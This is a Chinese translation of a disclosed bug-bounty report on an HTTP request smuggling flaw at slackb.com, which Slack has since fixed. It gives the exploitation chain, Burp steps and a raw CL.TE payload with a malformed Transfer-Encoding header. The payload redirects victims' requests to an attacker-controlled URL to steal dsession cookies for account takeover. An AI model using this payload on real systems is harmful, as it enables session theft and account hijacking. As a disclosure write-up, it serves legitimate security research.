Slack旗下网站的会话劫持，帐户接管漏洞

Slack是由同名公司开发的全球知名团队协作工具。而在近期，安全研究人员Evan Custodio在Slack的资产slackb.com上发现了一个HTTP Request Smuggling（HTTP请求走私）漏洞，迫使用户进行重定向，从而导致session被劫持，帐户被接管。

利用链条

1. HTTP Request Smuggling CTLE到slackb.com上的任意请求劫持。

2. 请求劫持会迫使受害者在slackb.com上请求GET https://<URL> HTTP/1.1。

3. 而对于后端服务器socket，请求GET https://<URL> HTTP/1.1会导致301重定向到https://<URL>，其中附带slack的cookie。

4. 通过Burp Collaborator所建立的服务（URL），我们就可以直接窃取到受害者的cookie（主要是dsession cookie）

5. 如果我收集了大量用户的dsession cookie，就可以接管目标帐户和组织，窃取敏感信息。

现在让我们从头开始，当我运行smuggler -u https://slackb.com命令进行穷举测试时，我偶然发现一个失败：space1。

space1测试会使用以下payload检查HTTP desync：

这个测试用例在测试CLTE而不是TECL时失败了。CLTE是一种web请求，它具有Transfer-Encoding: chunked和Content-Length:。根据RFC的说法，当两个请求头都存在，TE头是优先的。但是，如果TE头是畸形的，那么web请求在前端和后端服务器之间的解析可能不同。而在slackb.com上发现的CLTE问题是，当前端服务器使用Content-Length解析请求大小时，后端服务器却通过Transfer-Encoding: chunked解析。这将引发HTTP desync攻击，污染后端套接字，导致数据被预接到受害者下一个web请求上。space1的payload是在Transfer-Encoding和冒号之间放置一个空字符。这让前端将其理解为CE，但后端的处理方式却不同。

使用CLTE发起常见攻击是将数据附加到下一个请求中，这将通过自定义请求标头“擦除”受害者的HTTP请求，重新指定HTTP请求方法和端点。针对slackb.com的攻击方法也类似于此，图表解释如下。

恶意请求的说明：

以下是详细步骤：

1.打开Burp

2.进入菜单：Burp->Burp Collaborator Client

3.在Collaborator客户端中单击“复制到剪贴板”以获取服务器URL

4.转到Repeater选项卡

5.添加以下payload，将URL替换为你的CollaboratorURL

GET / HTTP/1.1
Transfer-Encoding : chunked
Host: slackb.com
User-Agent: Smuggler/v1.0
Content-Length: 83

0

GET <URL> HTTP/1.1
X: X

6.设置好repeater的目标，host: slackb.com , Port: 443 (SSL)

7.点击go

8.在Collaborator窗口中单击Poll，直到你看到请求

攻击图表展示如下：

Burp Repeater：

Collaborator DNS request：（受害者的IP地址也被泄露！）

这次攻击窃取的cookie：

目前只是攻击了任意一个slack客户，并得到了她的敏感cookie。

你可以直接将会话cookie插入浏览器，直接进入受害者帐户。

后续

该漏洞的CVSS评分为9.3。Slack团队在24小时内对漏洞进行了分类和修复，并于2020年3月12日公开披露漏洞信息。

Custodio的漏洞报告也获得了6500美元的奖励，并表示Slack的快速反应是“一流的”。

本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://hackerone.com/reports/737140